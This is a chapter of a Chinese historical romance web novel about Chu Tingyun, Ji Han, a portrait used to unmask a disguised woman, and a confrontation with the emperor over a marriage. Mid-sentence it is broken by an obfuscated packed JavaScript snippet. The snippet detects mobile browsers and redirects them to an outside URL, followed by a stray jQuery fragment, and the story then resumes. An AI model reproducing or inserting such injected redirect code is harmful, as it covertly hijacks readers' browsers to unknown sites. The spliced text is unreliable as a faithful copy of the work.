褚停云不知,自己思念的那人此时正面对一桌的各式糕点,慢条斯理却吃得不亦乐乎。
眉眼都带着生怕别人瞧不出的满足。逐风忍不住戏谑道:“季娘子,您这是饿了几顿?”
南溪则默默给她倒了杯茶。伸手比了个一,季寒道了声谢,接过茶盏。
“才一顿?属下还以为您一整天没吃饭呢。”
逐风当她闹着玩。不想,只见她咽下嘴里那口菊花糕后,纠正道:“一顿没落,今儿个中午萧堂长还给送了碗面。”
惊讶地张嘴,逐风歪了歪脑袋,“那萧堂长咋跟郎君说您没吃饭呢?”
季寒搁下手中半块糕,奇怪道:“他去找褚停云做什么?”
“不知,他来时属下不在府中,就听唐伯提了那么一嘴。”
他不在,南溪更不会在。摸出帕子擦了擦手,季寒思忖了会,撇了撇嘴道:“别管他了。你来得正好,今夜先别急着走,等我把那完成带回去给褚停云。”
逐风探头望向书案。今儿虽依然偷偷摸摸的,但走的是门,故而进屋一眼就瞧见书案上那幅画了一半的画像。
一旁搁着蔡妤珠的画像。
逐风回府晚又赶着来这,并不知之前褚停云与白羽的交谈,倒是南溪在门外听了一些。
但她也是这几日第二回进季寒的屋子。正午时当她见到自己拿来的画像被摆在案头,彼时还不知季寒要做什么。
眼下,只叹白羽若是知晓季寒并非以骨推相,而是以像画像,会不会懊悔没有跟来?
南溪不得而知,逐风却见识到了,就在天未亮的流园之中。
要不是唐伯在一边,白羽肯定不止捂住嘴无声哀嚎。就连郎君的神色也是,傻了。
已有三晚没好好睡个囫囵觉的褚停云,瞪着眼前呈现的画卷,揉了揉眼睛,又揉了揉眼睛。
“唐伯,给我盏浓茶。”
他一定是在做梦,不然谁来告诉他,季寒不但会画画,还画得能与谢艾一较高下?!
先不说画像上之人是谁,单看线条,有的简洁有的是刻意着重描绘。比如额头、颧骨、下颚及两侧脸颊,轮廓清晰线条简洁,说明她落笔时胸有成竹。
着重描绘的是五官,尤其是那双丹凤眼竟透着一抹狠厉和一丝哀怨。小巧的鼻子下,季寒使用了朱砂点唇,带着微微上扬的弧度,似笑非笑。
她没有画女子的发髻、发饰、耳坠,在画卷的最下方批注了一行字:妆扮不清。
在四个字的下面还有一行字:以画推画,或有不准,十之八九。
想象着她写下这几字时的神色定有些苦恼,褚停云终于有了些实感,眉眼渐渐柔和。
“她可有话交代?”
“咳,季娘子说了三点,”清了清嗓子,逐风掰着指头道来,“一、以画推画不准;二、不画第二次;三、可以肯定此女子的画像有异。”他指了指随画卷一并送回的寻人画像。
“哦对,季娘子还有话让属下带给白侍卫。”
倏然抬头,“我?”惊喜来得突然,白羽不掩好奇,“快说。”
“□□若无法贴合本人的骨相,只能一眼似,无法细看,是不是?”
“没错。”
“若要像之□□可有什么法子?”
“没有,”毫不犹豫道,白羽望向褚停云,“即便是属下亦鲜少扮作对方熟悉之人,短时接触尚还能遮掩过去,却不是长久之计。”
“诶,季娘子也是这么说的,若要使用人皮面具宜短不宜长,宜生不宜熟。”
对于逐风的脱口而出,白羽不觉得意外,“季娘子还说了什么?”
“她还说,人之本相在于骨,不在皮,什么样的骨架生什么样的相貌。白侍卫深谙面具制作,不妨试着做一张她的人皮面具,或许能倒退出那日所见女子的真实样貌。”
褚停云一怔,再看白羽的神情,正从惊讶转为恍然,继而是双眼发光般的兴奋。
“我怎么没想到?!”以拳击掌,白羽面朝褚停云抱拳道,“郎君,季娘子说得没错,兹要找出面具与骨相不贴合之处,属下定能描绘出那女子的真正骨架,再由她的骨相推断她的样貌。但此举对季娘子多有冒昧,不知郎君可否准许?”
岂只是冒昧,简直是冒犯,亏得她能想出这个法子。晦暗不明的目光落在画卷,褚停云沉吟片刻后,问道:“一日的时间可够?”
白羽尚未回话,只听褚停云继续道:“明日卯时我要进宫面见官家,若那女子还逗留在宫中,说不定会遇上。”
屈指叩在画卷,“我很好奇,她会以何样貌出现?”
白羽一凛,郑重道:“属下定当全力以赴。”
微笑着靠在椅背,褚停云唤了声:“唐伯,今日不喝酒也不看舞了,咱们去将嫁妆备上。”
“郎君,您这是?”唐年不懂,为何备的不是聘礼,而是嫁妆?
“明日我若赌赢了,才是聘礼,”仿佛知他要问什么,褚停云笑道,“若是输了,就当我送她的一份嫁妆。”
他不想输,却不得不做最坏的打算。他是不愿婚书作废,也曾想过大不了破罐子破摔官家又真能拿他如何?
可是今日,他却明白她为何会给他留一条后路。学着放手,才是最难的选择。
她不愿他将前程赌上,他又何尝忍心只因与官家的一场博弈却赌上她的前程?她值得更好的,即便未来或许没有他。
这一日,常郡王府筹备婚事的传闻在日落西山之际,传遍了整个汴京城,就连辰王府都让人送来了足足三箱的首饰、绸缎,说是先备着。
不过太傅府邸大门紧闭,倒是看不出端倪。而季寒在一日的课业结束后早早回了屋,传闻传到书院时,她正琢磨着与糕点一块送来的短笺。
好好吃饭。
熟悉的茉莉花糕,熟悉的字迹。只是她不明白,这不似褚停云的习惯。而逐风也放下这些就跑了,连多一句话都未言。
夜过半,萧缘冰叩响了她的门。
“我见你屋里还亮着,这么晚还不睡?”
“睡不着。”她笑了笑。
萧缘冰轻轻颔首,将准备下最后的策论交予她,离去前道了声:“他不是那种人,安心睡吧。”
季寒垂眸露出一抹温柔,“我知道。”
她不但知道褚停云是什么样的人,更清楚那张短笺、传至书院的消息,那些都意味着什么。所以她等来了去而复返的南溪。
“姑娘,”她已许久没这般唤她,“马准备好了,你确定这么做吗?”
“嗯。”
第一缕晨光洒落烟霞山,年轻的姑娘义无反顾奔驰在幽静的山道,冷冽的寒风呼啸而过,她不管不顾,只想着快些,再快些。
直至在通往皇宫的官道上,拦住了那辆熟悉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791363|185989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马车。不太熟练地翻身下马,她冲拉住缰绳的陌尘一颔首,手脚并用地爬上马车。
掀起帘子,正对那双含笑的桃花眼。
“娘子是来抢亲的吗?”他戏谑地看着她,眼尾隐隐透着一抹红。
“不是,”她三步并作两步扑进他的怀里,“我是来送郎君去娶亲的。”
“胡闹。”他瞪她,低头吻上朝思暮想的唇。
一吻绵长,似诉不完的情深。
他搀扶着她下了马车,宫门口,众目睽睽之中,他整理着她被风吹乱的发,再次吻上她的额头。
“等我回来。”
“嗯。”
亭亭而立,她不似吃醋大闹郡王府的女子,襦裙素雅,外罩着男子厚实的大氅,倒像送夫君上朝的寻常女子。
排队入宫的大小官员纷纷忍不住回眸。有人皱眉摇头,叹了声:“世风日下。”
有人呵呵笑而不语,也有人拽了把褚停云的袖子,“臭小子,滚一边去,御书房候着的跑咱们这边算怎么回事?”
褚停云不好意思地挠了挠头皮,“忘了,多谢傅尚书提醒。”
傅淮哼了声,小声道:“就没见过这么勇的小娘子,可扛住了,别辜负了人家。”
望向那安静伫立的身影,离得那么远他却好似还能看见她在笑,“一定。”不是对傅尚书的回答,而是对她的承诺。
所以当再次面见天颜,他有了不一般的底气,不是破罐子破摔,而要力争到底。
“臣愿娶太傅千金,但臣有一个条件。”
“什么条件?”
“欧阳娘子不能是正妻亦不能是平妻,只能为妾,她可愿意?”
“放肆,”天颜盛怒,拍案道,“人家是太傅嫡女。”
“那又如何?”淡淡地反问,褚停云挺直了背脊,抬头挺胸道,“臣未来妻子是今科举子,荆湖府榜上前三,更有可能是本朝第一位女状元。她哪一点不如太傅嫡女?”
“你……混账,她凭什么认为自己可以考上状元?就凭那个荆湖府第三?”
果然,官家对她还是了解的。
褚停云微微一笑,即便跪着,依然不卑不亢,“不止,她有那份自信凭的是自己的本事,还有您留中不发的徐景文、郑之远一案。”
“人都死了,还发什么?你们不会以为这也能成托辞?”
如他们所料,迟迟不发许不是不想发,而是不能发。垂眸沉吟,复而抬眸,褚停云继续道:“季寒说,她无权无势无法深究沅陵秋闱案背后的真相。但若有一天她手中握权,亦或者有人给了她权势,她势必找出背后的真相。”
天颜稍霁,但仍不屑道:“权势是靠自己获得,借助他人只会不稳。”
“官家说得是,”顺阶而下,褚停云拱手一揖又道,“所以臣劝她,待来年春闱后再提此事。可她担忧,来年春闱会否如沅陵那般再来一次?”
话语轻轻落下,视而不见龙椅上的男子猝尔皱紧的眉宇,“臣道她过于忧虑,毕竟春闱是在皇城之下,谁敢在其中动手脚,想必是吃了熊心豹子胆不要命了。”
“她说什么?”话出口,龙椅上的男子有刹那的尴尬。
褚停云低下头,“她说,哦。”
“哦?说清楚,她究竟什么意思?”
抿了抿唇,褚停云赧然道:“依臣对她的了解,她觉着臣是个傻子。”